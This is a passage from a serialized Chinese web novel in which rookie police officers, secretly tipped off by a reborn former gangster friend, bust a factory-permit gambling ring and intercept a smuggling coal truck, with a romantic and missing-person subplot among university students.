马辉两步跨过去,从兜里摸出两块糖,塞进她手里:“警察叔叔抓坏蛋。老师是不是教过你们,要帮着警察叔叔?” 小女孩攥着糖,嘴巴张了张,大眼睛忽闪忽闪地看着他,脑里开始打架。 马辉已经站起来,朝那间亮灯的屋子冲过去。 门关着,他一脚踹开,三个人冲了进去。 屋里的场景让马辉三人直接愣住了——跟他们想象的聚赌场面完全不一样。不是一帮老爷们儿围着桌子吆五喝六,而是四个女人,一张方桌。 四个人各坐一边,中间一副麻将牌,牌还没推,打到一半。 大的五十出头,小的看着不到三十。穿着打扮不像赌徒,倒像是棉一厂的家属。 三个小警察突然闯进来,她们先是慌了一下,也就两三秒。年纪最大的那个最先稳住,伸出指头,嗓门比马辉还大: “干什么啊?在家打麻将不行啊?狗拿耗子多管闲事!” 另外三个也反应过来,七嘴八舌地骂开了。 “老娘在自己屋里搓个麻将,犯哪门子王法了?你们这帮小兔崽子,吃饱了撑的!” “穿身皮就人五人六的,吓唬谁呢?老娘打麻将的时候,你们还在尿裤子呢!” “有本事把我们全抓走,明儿个就躺你们派出所门口去,看谁治谁!小鳖犊子!” 马辉、余兵和刘小勇哪见过这阵仗,直接被骂得张不开嘴。 但刘小勇眼睛尖,扫了一眼桌面,立刻指着那些被纸片和碎布头压着的钱,声音拔高了:“你们在这聚赌,警察就能管!” 那个中年妇女一拍桌子站了起来:“放你娘的狗屁!满大街的麻将馆你们瞎了眼不去抓,老娘在自个儿家摸两把牌,碍着你们哪根筋疼了?老娘在麻将馆一个星期输八天,连你们一根警察毛都没见着!今儿个冲我家来耍威风,还踹烂我的门?明天我不把你们所长骂得跟三孙子似的,我跟你姓!” 这话一砸过来,三个人彻底招架不住了,感觉满头都是包。 马辉苦着脸叹气:完了,这趟办劈了,回去等着挨批吧。 就在这时,腰间的传呼机突然响了——“嘀嘀嘀——嘀嘀嘀——” 他低头一看留言,整个人定住了。 刘小勇和余兵对视一眼,不知道发生了什么。 马辉把传呼机往腰上一别,再抬起头时,眼神完全变了。 “全部铐到所里去。桌子上的布片、纸条、这些钱——全部都是证物。” 刘小勇一愣:“马哥?” 余兵也跟着喊了一声:“马哥?” 马辉没解释。他走过去,把桌上那些碎布头、纸片一张一张收起来,然后转过身,盯着那个中年妇女,一字一句地说: “这些钱只是小儿科。你们真正赌的,是棉一厂的残次品批条。” 他举起手里那沓碎布头和纸片,嘴角微微一扯:“去麻将馆,这些东西你可拿不出来吧?” 四个女人的脸色,同时白了。 马辉从腰后取出手铐:“带走。” 第136章 质问 晚上十点半,田伟刚辅导完女儿的功课,正准备上床睡觉。 传呼机响了。 他拿起来一看,头皮一阵发麻,猛地从床边站起来,一把拽过衣架上的警服,又去拿帽子。 老婆看见他这副架势,问了句:“这么晚了还出去?外面是有金子捡啊?” “我不出去行吗?”田伟一边系扣子一边骂,“收了个孙猴子当徒弟,半夜三更出去打白骨精,我这个当师傅的,不去念紧箍咒,谁给他们擦屁股?” 说完气呼呼地出了门。 到了派出所,田伟一眼看见马辉、余兵、刘小勇三个人站在走廊里,劈头盖脸就是一顿骂。 “你们是反扒小组!知不知道什么叫反扒?抓小偷的!不是让你们抓赌!接下来你们是不是要去抓抢劫、抓杀人、抓贩毒了?” 三个人低着头,一声不吭。 田伟喘了口气,瞪着马辉:“你们怎么知道那边在赌博?” “得到线人线报。”马辉说。 田伟一听,差点没背过气去:“马警官,你都有线人了?是不是港岛警匪片看多了?你的线人在哪儿呢?” “我也不认识,”马辉说,“给我递了纸条就走了。” 田伟哼了一声:“人在哪儿抓的?” 马辉报了地址。 田伟听完,整个人像被点了炮仗:“那儿不是我们派出所的辖区!你们知不知道?私自行动,跟五塘派出所打过招呼没有?” 他感觉自己的血压已经窜到了天灵盖。 这时候走廊那头传来脚步声,有人喊了一声“所长过来了”。 田伟脸色一变,压低声音,语速飞快:“待会儿所长问起来,就说是我吩咐你们去的。记住没有?千万别说你们自己干的!” 马辉抬起头:“师父——” “闭嘴!”田伟狠狠瞪了他一眼。马辉把后面的话咽了回去。 严所长走进来,脸色很不好看。 “怎么回事?”他直接问。 田伟硬着头皮迎上去:“所长,这么晚了您还——” “我能不来吗?”严所长直接打断他,“棉一厂的老仇,直接上门堵到我家里来了!” 田伟一听,额头上的汗一下子冒了出来:“这么严重?” 他赶紧说:“所长,这事儿怪我。是我得到了线报,说有人在聚赌,就派马辉他们去了。” 严所长看了他一眼,没接话,转头问:“抓的人呢?赌资呢?有没有人赃并获?” 田伟赶紧回头冲马辉喊:“还不快来跟所长汇报!” 马辉上前一步,把事情的经过说了一遍——从踩点、蹲守、抓捕,再到现场查获的现金、碎布头、纸片,一五一十全交代了。 严所长听完,没吭声。走到桌前,盯着那一堆东西看了好一会儿。 布料样品。几张盖着棉纺厂红章的“报废布头处理证明”。还有几张开出来的“残次品批条”。 他拿起来翻了两遍,脸色从铁青变成了凝重,又从凝重变成了一种说不清的表情——像是震惊,又像是终于想通了什么。 田伟站在旁边,也看明白了。 棉纺厂每天生产大量布料,总有“等外品”或“残次品”,往往只是细微瑕疵,但按规定必须低价处理。权力大的人能开出“残次品批条”,让你用买破烂的价格拉走一车顶级真丝或高档坯布。 这些东西流到市面上,一转手就是好几倍的利润。 现在有人拿这些批条来赌,赌的不是钱,是国有财产。这不是小案子,这是侵吞国有资产的大案! 难怪棉一厂的老仇半夜三更也要找上门来。 严所长把那沓东西放下,抬头果断下令:“连夜审讯,任何人都不准探望。拿出扎实的口供,明天我去局里汇报。” 这回,非得把棉一厂老仇的皮剥下来一层不可。 审讯用不着马辉这样的生瓜蛋子。 那四个女人被带到所里后,经验丰富的民警立刻接手,马辉他们仨反倒被晾在一边。在走廊里杵了半天,余兵和刘小勇凑过来想拉他去喝酒,可一瞧见马辉的脸色,话到嘴边又换了词儿:“哥,要不送你去医院?” 马辉的脸色确实不好看,嘴唇发白,眼底挂着两团青黑。 “不用,我回去闷口热水、洗个澡就行。”他摆摆手,转身去找田伟,“师傅,我身子不得劲,想回去躺会儿。” 田伟正忙着跟所里的人对接审讯,头都没抬,挥手像赶苍蝇似的:“滚滚滚,自己买点药吃,不行就看急诊!” 马辉从车棚里推出自行车,骑出了派出所大门。 韩学涛今晚没回寝室,在留学生楼那边编程。 测绘局的底层数据马上就要拿到了,下一步要想办法绕开美国在GPS上的SA限制。他已经有了思路,正准备把这套思路变成算法。屏幕上的代码一行一行往下走,光标闪个不停。 包里的爱立信突然响了。 知道他这个手机号码的没几个人,谁这么晚找他?拿起来一看,屏幕上跳出马辉的名字。 “韩学涛,你出来!我在你学校门口。”马辉的声音很冲。 宁海大学门口,路灯昏黄,两边的店全关了,卷帘门拉得死死的。寝室楼早熄了灯,整个校门口安安静静的,只有风把梧桐树叶吹得沙沙响。 马辉坐在马路牙子上,旁边歪着他那辆破自行车,脚跟前蹲着几瓶啤酒,瓶身上挂着冰镇的水珠。 韩学涛走过去,在他旁边坐下,拿起一瓶啤酒,拇指顶开瓶盖。 “怎么这么晚跑过来了?” “韩学涛,我问你,你不准骗我!”马辉腾地一下站起来,手指头戳着韩学涛:“我今晚去抓赌,提前就得到线报——有人往我手里塞纸条。是不是你干的?” 韩学涛拿着啤酒瓶的手顿了一下。 “还有前阵子抓贼,”马辉的声音越来越大,“我师傅田哥十几年没抓过一个贼,现在突然冒出来一堆,跟你有没有关系?” 韩学涛看着他:“你当几天警察当出职业病来了?什么都怀疑?” 他把啤酒瓶往地上一墩,“你看看这是哪儿?宁海大学!我一个重点大学的优秀青年,你凭什么觉得我能跟赌博和贼扯上关系?” 马辉盯着他,一字一句地从牙缝里往外蹦:“我他妈也不愿意信。可现在看你跟我说话这德性,我就信了八成。韩学涛,你是聪明,可我马辉也不傻——至少没傻到连自己BP机号有几个知道都搞不清楚。” 韩学涛微微皱了下眉。 “我的传呼机号,是你来领摩托车那天刚办的。”马辉说,“我连我妈都没告诉,全世界就你一个人知道。你说我不找你找谁?” 韩学涛愣了一下。 他是真没想到,马辉的传呼机号就告诉了自己一个人——妈的,你们当警察的传呼机号不是该满世界都知道吗? “会不会你自己不小心漏出去了?”他说。 马辉站着不动,冷冷地看着他。 韩学涛有点不自在:“马猴,你是不是有毛病?办个传呼机号就告诉我一个人,我是你对象啊?” “因为我从小到大就你一个朋友。”马辉的声音突然塌了下来,眼眶也红了,“结果你什么事情都瞒着我——安排小偷,安排人给我送线索。你有没有提前跟我说一声?你有没有问过我的意见?” 看着马辉那副样子,韩学涛沉默了几秒,叹了口气。 “对不住了,这事儿是我不地道。我应该尊重你,跟你商量。”他顿了一下,“可我不是怕你有想法么。确实,我认识一些道上的朋友……” 马辉直接打断他:“你也知道啊!韩学涛,你放着好好的宁海大学不读,你去认识道上的朋友干什么?你别走歪了路!我一个破农院退学了,我妈都伤心得要死。你的宁海大学要是被你搞没了,你家里怎么办?” 韩学涛看着马辉那张因为激动而涨红的脸,心里突然涌起一股暖流。 多年的黑道生涯,其实在他心里一直有些冷漠。虽然重生回来,不到二十的年纪,多少添了一些意气,但那种利益的算计和人情的冷漠,其实还是占据心灵的大片地方。 而此时看着半夜赶来的马辉,他感觉自己被烫了一下。 他觉得自己有些对不起这个朋友。至少在他和罗点点的事情上,自己一直做个看客,实在是有些辜负了马辉对他的这份情义。 “马警官教育得对,我认错了。”韩学涛拉着马辉坐下,把啤酒瓶塞回他手里,自己又拿起一瓶,“马猴,我们两个从高中就是死党,你应该对我有信心。我知道自己该走什么样的路。可社会上一些事情也是躲不开的,总不能由着性子只接触自己喜欢的人。” 他举起酒瓶,碰了一下马辉手里的瓶子:“不管怎么说,我身边不是还有你这个朋友么?马警官!正气凛然圣斗士!有你在,我怎么会走岔路?至于你和罗点点——” 马辉直接打开他的手:“我现在不想谈这个。” “好好好,不说不说。”韩学涛笑着说,“我在这儿跟你保证行不行?以后绝对走正道。我这么说你还别不信,我们系主任已经预定要收我当研究生了。” 马辉的脸色缓了缓,长出一口气,像是把堵在胸口的东西一口气吐了出来。 “学涛,我不是不相信你。我知道你是帮我。”他低着头,转着手里的酒瓶,“但是以后这种事情,能不能先跟我说一声?” “行!”韩学涛说,“现在就告诉你——还有一个线索,是矿务局那边的……” 马辉听完,瞪大了眼睛,声音一下子又高了:“你他妈都认识的是什么朋友?” “知道我现在人面有多广么?”韩学涛笑了,“测绘局那帮人天天在街头搞测量的,他们局长我管他叫叔,拿他们饭卡在测绘局吃饭不要钱。别以为我们重点大学就是象牙塔——真正黑的在上头呢!” 第137章 拦截 得到矿务局的线索后,马辉看了一眼时间,屁股就坐不住了。 “时间还够,我现在就去!” 韩学涛一把拉住他的胳膊:“注意安全,别搞不清楚状况就往上冲。” 马辉已经跨上自行车,一条腿撑着地,回头看了他一眼:“你自己记得今晚答应过我的事!” “知道了知道了。” 马辉蹬着自行车,急匆匆地走了。 韩学涛又在马路牙子上坐下来,开了一瓶啤酒,自己喝了一口。夜风从校门口的方向吹过来,带着梧桐树的气息。他想起李曼——明天去问问,罗点点最近有没有跟她联系。 马辉骑回螺塘街的时候,余兵和刘小勇正蹲在烧烤摊前打哈欠,竹签子扔了一地。 “别吃了!”马辉一把揪起余兵,“又拿到重要线索了!” 余兵手里还攥着半根烤串,被拽得一个趔趄。刘小勇也激灵一下站了起来,两人顿时来了精神。 “什么案子?”余兵问。 “去拦矿务局的黑车。”马辉说,“光我们三个可能不够,去所里喊人。” 三个人赶到派出所,走廊里静悄悄的。审讯室的门关着,田伟他们还在里面没出来。所长办公室亮着灯,门也关着,隐约能听见里面有说话声——棉一厂的领导还在。 余兵和刘小勇看着马辉。 “怎么办?” 马辉咬了咬牙:“我们自己干。” 刘小勇问:“所里的车开不出来,怎么拦截?” “我去借。” 马辉冲到矿务局家属院门口。老袁大伯正在收发室里听收音机,准备关灯睡觉。马辉推门进去,喘着气说:“袁伯,三蹦子借我用一下!” 老袁看了他一眼,没多问,从墙上取下钥匙递给他。 三个人里只有刘小勇会开三蹦子。他跨上驾驶座,拧钥匙,踩油门,突突突突——三蹦子冒着黑烟窜了出去。马辉和余兵挤在后面的车斗里,夜风灌进衣领,吹得眼睛都睁不开。 矿务局的煤不在市里,在铁路西站那边有一个仓库。余兵对西站那边的路熟——他爸以前是部队运输兵,小时候他经常跟着去那边玩。 “有一条道是必须走的,”余兵蹲在车斗里,两只手比划着,“超载的大车只能走那条路,别的路有桥洞子,过不去。” 刘小勇比较损,一边开车一边回头出主意:“买点钉子铺在路上?” 马辉想了想:“去买。” 三个人找了个还没关门的小五金店,买了五盒铁钉。刘小勇把钉子倒出来,码在车斗里,挑了几个最长的攥在手里,嘿嘿笑了两声。 后半夜,西站仓库外面那条路上,三蹦子熄了灯,停在路边一棵大树后面。三个人蹲在车斗里,六只眼睛盯着路那头。 等了快两个小时,马辉都快睡着了,余兵突然拍了他一下。 “来了!” 远处两束车灯晃晃悠悠地过来,发动机的声音闷闷的,像头老牛在喘。一辆大货车,车斗里堆得满满当当,煤堆得冒了尖,上面盖着帆布,绳子勒得紧紧的。车身往一边歪,一看就是超载。 就一辆。没有跟车的,没有押车的。 一百米。 马辉低声说:“撒!” 刘小勇抓起一把钉子,狠狠朝路面上撒出去。余兵也跟着撒,钉子落在柏油路面上,叮叮当当弹跳了几下,散了一地。 大货车冲过来了。 前轮压上钉子——噗!噗噗噗!连续几声闷响,轮胎爆了。车头猛地往一边偏,司机猛打方向盘,车身剧烈摇晃,车斗里的煤哗啦啦往下淌。大车像一头中了枪的巨兽,歪歪扭扭地冲出几十米,轰的一声撞上了路边的电线杆。 电线杆被撞得倾斜了,上面的一盏路灯晃了两下,灭了。 三蹦子后面的三个人全呆了。 烟尘散尽,大货车歪在路边,车头撞瘪了一大块,驾驶室的挡风玻璃碎了,碎碴子撒了一地。发动机盖冒着白烟,空气里弥漫着焦糊味和汽油味。 马辉第一个反应过来,跳下三蹦子冲过去。 驾驶室里,司机被卡在方向盘后面,脸上全是血,一条腿夹在变形的铁皮里动弹不得,嘴里发出低低的呻吟。副驾驶座上一个年轻人,没受什么伤,但整个人缩在座位上,浑身发抖,脸色白得像纸,裤裆湿了一大片。 马辉扒着车门,冲里面喊了一声:“人没事吧?” 那个年轻人转过头看着他,眼神发直,嘴唇哆嗦了半天,一个字也没说出来。 余兵和刘小勇也跑了过来。余兵趴到车窗上看了一眼,倒吸一口凉气:“这车要是翻了,他俩铁定没了。” 马辉深吸一口气,把手伸进去,试着拉了拉司机身上的安全带——卡死了,拉不动。他扭头冲余兵喊:“打电话叫所里,叫救护车,叫消防队!” 然后他回头看着那个缩在座位上的年轻人,声音压低了,但很硬:“你,下来。别在车里待着。” 年轻人这才像被解了穴一样,连滚带爬从副驾驶那边翻出来,腿一软跪在地上,两只手撑着地面,大口大口地喘气。 马辉没再管他,把手电叼在嘴里,开始检查驾驶室。他小心地绕过司机被卡住的腿,翻看座椅缝隙、手套箱、遮阳板后面的夹层。 手电的光柱在驾驶室里扫来扫去。 副驾驶的座位底下,一个黑色塑料袋。马辉伸手够出来,打开—— 一摞一摞的现金,用皮筋扎着。还有几页纸,折叠得整整齐齐,上面写着字,盖着红章,日期是空白的。 马辉松了口气。 “放行路条”找到了,韩学涛的消息真准啊! 田伟是从审讯室被人叫出来的。 他手上还拿着笔录本,走到所长办公室门口,就看见严所长坐在办公桌后面,脸色铁青,手里夹着烟,烟灰烧了老长一截也没弹。办公室里的气氛不对——棉一厂的人刚走,又来事了。 “所长,怎么了?”田伟问。 严所长把烟掐灭在烟灰缸里,把桌上的电话记录本转过来让他看。 田伟看完,眼前一黑,身子晃了一下,赶紧扶住桌角,差点没晕过去。 这三个小兔崽子!你们就不能安稳一晚上吗!刚抓了棉一厂的聚赌,又去劫矿务局的黑车!你们是非要把我这个当师傅的折腾死啊! 刚才自己一直在审讯室里,想帮他们背锅都找不到借口。抓赌的时候,你还可以说两边辖区挨得近,年轻人没经验、一时没搞清楚状况——现在你们他妈都跑到西站去了,这怎么说? “所长,这个……这个事儿吧,其实小马他们前几天也跟我提过一嘴,我就觉得吧……” “田伟,你给我滚犊子吧。”严所长直接开骂了,手指点着桌面,“就你那棉裤性子,现在开始跟我装起来了?矿务局的老程,刚才在电话里对我可是破口大骂。现在他们警车已经在路上了,马上就到——你看这事怎么办吧。” 田伟抬起头,脸上的表情从慌乱变成了某种豁出去的东西:“所长,他们毕竟是我徒弟。要担责任,也是我这个当师傅的责任。” 严所长用手指着他点了两下,转身拿起桌上的电话,一边拨号一边说:“矿务局那边有多霸道你是知道的,就看这回有没有人能保你们了。” 电话接通,开口时语气变了—— “付局,我是螺塘派出所的小严呀。有个情况跟您汇报一下。您不是批准我们成立了一个反扒小组么,几个年轻人今天晚上办了两个案子……” 电话那头,付祥民刚躺下没多久。 他听完严所长的汇报,一时没消化过来。靠在床头,把严所长的话在脑子里过了一遍,然后猛地坐起来,声音拔高了:“什么玩意儿?棉一厂的残次品批条,公开拿到麻将桌上赌博?” “是的是的,这个正在审讯。” “还有矿务局的放行路条,确定日期是空白的?”付祥民又问。 “是的,人赃俱获。办案的时候黑车司机强行闯卡,还受了点伤。”严所长十分委屈,“现在矿务局那边要找我们派出所兴师问罪……付局,我们扛不住啊。” 电话那头,付祥民呵呵笑了两声。 “我现在就过去。我倒要看看,他矿务局的程秃子敢不敢在我面前放一个屁!” 第138章 你不会是要去妇产科吧? 晚饭时间,李曼从食堂打了豆沙包和玉米,带回寝室啃着吃。 寝室里只有舍友顾莎莎一个人。她端着搪瓷缸子准备冲奶粉,看见李曼面前那点东西,皱了皱眉。 “曼曼,你就吃这么少啊?” “不饿。”李曼闷闷地应了一声,玉米啃了两口就撂下了。 “我要冲奶粉,你喝不喝?” “不了,喝不下去。” 顾莎莎拎起热水瓶往缸子里倒水,一边搅一边看着李曼:“怎么了?情绪这么差?是不是来那个了?” “不是啦,”李曼趴在桌上,脸枕着胳膊,“还差十几天呢。” 话音刚落,寝室电话响了。 李曼伸手接起来。 “喂?” “曼曼……”电话那头是罗点点,声音有点怪,说不上哪里不对劲。 李曼坐直了身子:“点点?怎么了?” “下礼拜你有没有时间?”罗点点吞吞吐吐地,“能不能陪我去一趟医院?” “你怎么了?生什么病了?”李曼语气一下子急了,“不舒服为什么不现在去,要拖到下礼拜?” “不是……已经约好下礼拜了。我没什么不舒服的,就是不太想一个人去。”罗点点顿了顿,“曼曼,你要是有时间就陪我吧。” 李曼握着话筒,脑子里忽然闪过一个念头,声音一下子压低了:“罗点点,你不会是……要去妇产科吧?你男朋友呢?吴翔为什么不陪你?他敢做不敢当吗?” “不是不是不是!”罗点点急了,声音拔高了好几度,“不是你想的那样!我不是去妇产科,我是去……美容啦!” 李曼一愣:“美容?” 她松了口气,可马上又皱起眉:“点点,你别去。我前两天还在《宁海晚报》上看到,市民广场旁边那些流动摊位,纹眉漂唇的,都是没证的,特别不卫生!” 电话那头沉默了几秒。 罗点点的声音再次传来,变得扭扭捏捏的,像是说一件特别难为情的事—— “不是纹眉……我是去,隆胸。很大的一家医疗机构,绝对正规。” 李曼一懵:“啊?” “吴翔跟我说了好几次,嫌我……胸小,想花钱让我去做。但是我不想花他的钱,才管你借了一千块。”罗点点的声音越来越小。 李曼张了张嘴,一时竟不知道该怎么接话。她想说你别去,想说你干嘛要听一个男人的话,想说你的胸一点都不小——可这些话堵在嗓子眼,一句都出不来。 电话那头,罗点点还在问:“曼曼,你到底要不要陪我去?我自己不太敢,有点害怕……” “行吧。我陪你去。”李曼深吸了一口气。 挂了电话,李曼觉得心情更差了。比刚才还差。她看着桌上那根啃了两口的玉米,一点胃口都没有。 顾莎莎端着搪瓷缸子靠在床铺梯子上,看了她半天,忽然开口问了一句:“曼曼,想什么呢?魂不守舍的。对了,军训时候来我们方阵给你送肯德基那个男生,你们俩怎么样了?” 听到这话,李曼把玉米直接扔进垃圾桶,趴在床上,脸埋进枕头里,闷闷地说了句:“别提了。” 顾莎莎放下缸子,走过去摇她肩膀:“起来起来,聊聊嘛。有什么话别藏在心里,我可以给你出出主意。” 李曼被她摇得没办法,翻过身来,抱着腿靠在墙上,下巴搁在膝盖上—— “你们只看到他给我送肯德基,不知道后面还有好多事。” 顾莎莎搬了凳子坐下来,一副洗耳恭听的样子:“怎么了?你说来听听呀。” 李曼把军训时的事说了——她脚扭了,韩学涛背着她跑完了全程。 顾莎莎听完,眼睛发亮:“哇!原来那个传闻就是你呀!好浪漫呀!” “还有呢。”李曼又说了一件事——放寒假的时候,自己在寝室被烫伤,韩学涛骑着三蹦子,非要把她送到市里医院去。大冬天的还下雪,他在医院陪了一夜,早上还给她买了粥。 顾莎莎在旁边听得激动得不行,端着的牛奶也顾不上喝了,整个人都快飞起来了:“哇——这也太浪漫了吧?要是我,二话不说就答应做他女朋友了!” 李曼抱着膝盖,声音闷闷的:“可是他从来没说过让我做他女朋友啊。” “呃……”顾莎莎想了想,歪着头问,“那假如韩学涛现在说让你做他女朋友,你会不会答应?” 李曼被这句话问住了。 “这个……我没想在大学期间谈恋爱的。” “那你看,你犹豫了。这就很说明问题呀。”顾莎莎笑得意味深长。 李曼:“什么意思?” “那这样——我们换一个名字。假如把韩学涛的名字换成随便哪个男生,他们让你做女朋友,你会不会立刻拒绝?” “会呀,当然会。”李曼斩钉截铁。 “但是换成韩学涛,你就犹豫了。”顾莎莎一拍巴掌,“说明他在你这里,跟其他男生是不一样的。” 李曼把脑袋埋进膝盖里,闷闷地“啊”了一声。忽然又想起什么,抬起头,气呼呼地说:“可他根本不记得答应过我的话!” “什么话?” “他答应过要送我生日礼物。上次我问他,他完全不记得了!” 顾莎莎摸着下巴,煞有介事地说:“那肯定是他不对。这种事情,绝对是男生全责。不过嘛——”她话锋一转,“韩学涛长得这么帅,我觉得你也有点问题。” “喂!你能不能不要重色轻友?我有什么问题?”李曼怒了。 “怎么没问题?”顾莎莎掰着手指头跟她算,“按照你说的,韩学涛送你肯德基,背你参加军训,又送你去医院急诊。他做了这么多事情,你为他做过什么吗?你让他送你生日礼物,可你送过他生日礼物吗?” 李曼愣住了。 她张了张嘴,又闭上了。 她想告诉顾莎莎更多事情——在春梅宾馆,韩学涛两次把她从危险中救出来。可又觉得这些不能说出去,只能自己在心里翻来覆去地想。 韩学涛已经为自己做过这么多吗? 而自己好像确实没有为他做过任何事情。连生日礼物都没有送过一次。 可自己却还在为他没记得送自己生日礼物而生气。 她揪着自己的头发,从牙缝里挤出一句:“李曼,你怎么这样呢!” 然后一把抓住顾莎莎的手腕,带着一股说干就干的劲头:“莎莎,谢谢你。你说得对——我准备亲手做一件礼物送给他。你觉得做什么好?” 第139章 奇怪的报警 计算机课,阶梯教室里,老师还没到,嗡嗡的说话声此起彼伏。 李曼从书包里掏出一个布包,往韩学涛桌上一放。 “什么?”韩学涛瞥了一眼——灰蓝色的棉布,扎着口,像个旧式包袱。 “送你的生日礼物。”李曼把包往他那边推了推,语气硬邦邦的,脸上却隐约有些不好意思。 “我生日还有好几个月呢。” “我知道。”李曼说,“那就当补送你上一个生日的,行了吧。” 韩学涛有点无语:你送礼物,态度怎么还这么冲? 不过李曼这么一来,倒让他想起来了——上次李曼说过,答应她的事,就是她过生日时要送她一件礼物。 她特意提前几个月就送自己礼物,该不会就是为了提醒自己,别忘了在她生日时还礼吧? “那……谢谢了。”韩学涛把布包拿起来,在手心里掂了掂。 李曼看着他:“你不打开看看?” “现在就要打开?” “当然要看你喜不喜欢呀!” 韩学涛解开布包,里面是一条“带子”——军绿色尼龙织带,实心钢扣,扣面经过磨砂处理,泛着冷冽的金属光泽。织带厚实紧密,用手一捏,硬挺挺的,不易变形。 “这是……皮带?” “怎么样?喜不喜欢?听说现在男生流行军旅风。” 她和莎莎商量了好久,最后在钱包、手链和皮带里选了皮带。贴身、实用,而且使用周期最长——没个几年很难用坏。这条她特意挑了最结实的材料。 韩学涛点点头:“挺好,你买的?” 李曼送这种皮带,有点出乎他的意料——这种加厚尼龙带,跑江湖的人常用,叫“流星腰带”。长途司机在路边遇到拦截,腰带宽面抡圆了,打击力足以瞬间击碎车窗玻璃或致人骨折,比铁棍灵活,比短刀合法。而且这种腰带还有个“暗招”——在尼龙带内侧缝一个暗兜,塞满刮胡刀片或硬币。至于具体作用,只有懂行的人才清楚。 “什么买的?”李曼哼了一声,“我自己做的。” “你做的?”韩学涛更惊讶了。 “当然也不是全是我一个人动手,”李曼说,“我跟做皮带的师傅一起完成的。” 百分之九十是师傅的功芳,她就在旁边搭了把手,指挥了一下颜色和长度——但也够不容易的了。 韩学涛把皮带翻了个面,仔细看了看走线,再次点头:“挺好挺好,看着就结实。” “那是,”李曼说,“材料都是我在劳保商店挑的最好的。下次一定要记得用,不然小心掉裤子。” 韩学涛摸了摸下巴——这话说得,不系你的皮带就要掉裤子?行吧,也算是李曼有心了。这是他重生以后收到的第一件生日礼物。 他把皮带装回布包里,收进书包,随口问了一句:“前几天看到马辉了。对了,罗点点最近有没有给你打电话?” 李曼叹了口气,胳膊撑在桌上,手托着腮:“点点昨天还给我打电话了呢。” “说什么了?” “算了,”李曼摇摇头,“真不能告诉你们男生,尤其是不能告诉马辉。” “你话都说到这个份上了,把人胃口吊起来,然后又说不能讲?” 李曼犹豫了一下,压低声音:“女孩子的事不好跟你们男生说。我只能跟你说——下礼拜我要陪她去医院。回头你也劝劝马猴,让他对点点就算了吧。” “去医院?”韩学涛一愣,脑子里转了一下,脱口而出,“她肚子大了?” “你们男生思想怎么那么龌龊!”李曼不满地瞪了他一眼,咬了咬嘴唇,“唉,算了算了,告诉你了。但你千万别跟马猴说。” 她凑近了一点,声音压到只有两个人听得见:“点点让我陪她去……隆胸。” 韩学涛愣了整整两秒:“……哈?” …… 螺塘派出所,一楼走廊尽头,一间挂着“学习室”标牌的房间里,马辉、余兵、刘小勇三个人挤在一张办公桌前。 每个人面前都堆着好几本打印出来的资料——摊开的、折角的、压着尺子的,乱七八糟铺了一桌。 马辉还好一点,只是有点犯困,头一点一点地往下栽。余兵和刘小勇则坐立不安,抓耳挠腮,椅子被他们扭得吱吱作响。三个人都是一副生不如死的表情。 没办法。那天晚上截住运黑煤的货车之后,付祥民连夜赶到螺塘派出所,把马辉劈头盖脸一顿训斥。 训完之后,严所长又把他们叫进办公室,关上门又是一顿批评。最后拍着桌子宣布:即日起,暂停上路巡逻,在所内进行封闭式学习。 学习内容列了一张清单,还有一堆打印出来的纪律规定和典型案例分析。美其名曰“加强理论武装,提升执法规范化水平”。 每天上午八点半到学习室报到,下午五点半才能离开。中间除了上厕所和接待群众报警之外,哪儿都不许去。等学习结束,考试合格了再说。 外面走廊里传来一个清脆的女声:“小马哥!出来接警!” 因为这几起案子,马辉在所里有了点名气,被同事戏称为“螺塘小马哥”——现在连内勤都这么叫他。 “螺塘小马哥”把书一合,椅子往后一推,站起来就往外走。他现在宁愿去接警,也不愿意在这间屋子里再多待一分钟——实在是学不进去。 接警台设在走廊中段,一张半人高的木桌,桌上放着接警登记本和一支圆珠笔。马辉走过去坐下,拿起笔,翻到新的一页。 报案人是个年轻女孩,二十出头,圆脸,扎着马尾,穿一件淡粉色外套,眼睛红红的,像刚哭过。 “请坐。”马辉指了指对面的椅子,又看了她一眼,“你叫什么名字?” “何倩。”女孩坐下来,两只手绞在一起。 “职业?” “卫校的,九五级护理专业。” 马辉低头在本子上记了几笔,笔尖顿了顿:“要报什么案?” “我男朋友失踪了。”何倩低声说。 马辉抬起头,愣了一下。男朋友失踪了? 这个倒是少见。 这几天为了接待群众,他翻看了不少以前的报警笔录,一般报失踪的都是小孩走失,或者年迈的父母迷路,甚至还有报宠物丢了的。男朋友失踪来派出所报案的,还真是头一回看到。 “你怎么不去学校保卫处报案?” 何倩低声说:“保卫处只管校内的事,我男朋友是校外的。” 马辉皱了皱眉,把笔端端正正搁在本子上:“说说你男朋友的情况。姓名、职业、体貌特征。” “他叫卢亮,今年二十六岁。”何倩说话时眼睛一直盯着桌面,“在一家粤省的企业驻宁海的办事处工作,具体做什么的……我也不知道。” “身高多少?” “比我高半个头,大概一米七五的样子。长相……比较斯文,戴一副眼镜,看着像坐办公室的......” 马辉一笔一笔记下来,写着写着,笔尖突然停了一下。 不知道为什么,他越听越觉得何倩的描述,跟罗点点的男朋友吴翔很像——年龄对得上,长相也对得上,连工作单位的性质都差不多。但这也没法确认,世上戴眼镜的斯文男多了去了。 马辉继续问:“你什么时候发现他失踪的?” “两个星期前,”何倩说,“他突然就不来找我了。” “会不会是出差了?他公司不是粤省的吗,说不定回总部了。” “可是电话也打不通。”何倩的声音低了下去,“以前从来没这样过。” 马辉在本子上又记了两行,抬起头看着何倩:“你这个报警,有点勉强。说不定这个男的……始乱终弃,不联系你了呢。” 何倩突然就哭了,肩膀一耸一耸地抽泣。 马辉看着面前这个女孩,既觉得可怜,又有点心烦。他抽了两张纸巾递过去,语气比刚才软了一些:“好了好了。他失踪前有没有什么异常情况?你仔细想想。” “谢谢,”何倩接过纸巾,低着头犹豫了片刻,然后用几乎只有自己能听见的声音说:“失踪前……他让我去做了隆胸,然后人就不见了。” 马辉手一顿:“啥?” 第140章 一团乱麻 何倩走后,马辉在接警台前愣坐了老半天,脑子里像塞了团浆糊,心里头那股不安一个劲地往上冒。 他腾地站起来,抓起接警笔录就往外走。 田伟正在办公室整理材料,桌上摊着几份卷宗,手里夹着根没点的烟。马辉推门进去:“师傅,这个报案您看看,我觉得不对劲。” 田伟抬了下眼皮,揉揉眉心,把烟别到耳朵上,抓过笔录快速扫了一遍,往桌上一撂:“哪儿不对劲?” 马辉往前凑了一步:“第一,报警找男朋友的,我这几天翻遍了接警记录,一个都没有。第二,那个男的不是本地人,在粤省企业驻宁海办事处工作,这个背景……反正我就是觉得怪。第三,她隆胸的钱是那个男的花的,手术做完不到两个礼拜,人就没了,这也太巧了吧?” 田伟听他一条一条列完,脑仁都疼。 